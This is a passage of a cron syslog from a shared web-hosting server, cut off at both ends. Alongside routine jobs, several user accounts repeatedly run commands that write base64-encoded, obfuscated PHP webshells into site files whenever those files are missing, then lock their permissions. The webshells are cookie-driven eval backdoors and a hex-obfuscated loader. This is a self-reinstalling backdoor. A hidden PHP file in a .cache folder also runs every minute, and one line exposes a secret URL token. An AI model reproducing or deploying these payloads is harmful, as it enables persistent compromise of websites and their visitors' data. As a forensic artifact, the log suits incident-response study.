NyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:47:01 medusa CROND[7179]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 09:47:01 medusa CROND[7180]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:47:01 medusa CROND[7181]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:47:01 medusa CROND[7182]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:47:01 medusa CROND[7183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:47:01 medusa CROND[7185]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:47:01 medusa CROND[7188]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:47:01 medusa CROND[7187]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:47:01 medusa CROND[7193]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:47:01 medusa CROND[7197]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:47:01 medusa CROND[7201]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:47:01 medusa CROND[7194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:48:01 medusa CROND[8818]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:48:01 medusa CROND[8819]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:48:01 medusa CROND[8821]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:48:01 medusa CROND[8820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:48:01 medusa CROND[8822]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:48:01 medusa CROND[8823]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:48:01 medusa CROND[8824]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:48:01 medusa CROND[8825]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:48:01 medusa CROND[8826]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:48:01 medusa CROND[8828]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:48:01 medusa CROND[8831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:48:01 medusa CROND[8832]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:48:01 medusa CROND[8842]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:49:01 medusa CROND[10392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:49:01 medusa CROND[10393]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:49:01 medusa CROND[10394]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:49:01 medusa CROND[10395]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:49:01 medusa CROND[10396]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:49:01 medusa CROND[10397]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:49:01 medusa CROND[10399]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:49:01 medusa CROND[10401]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQ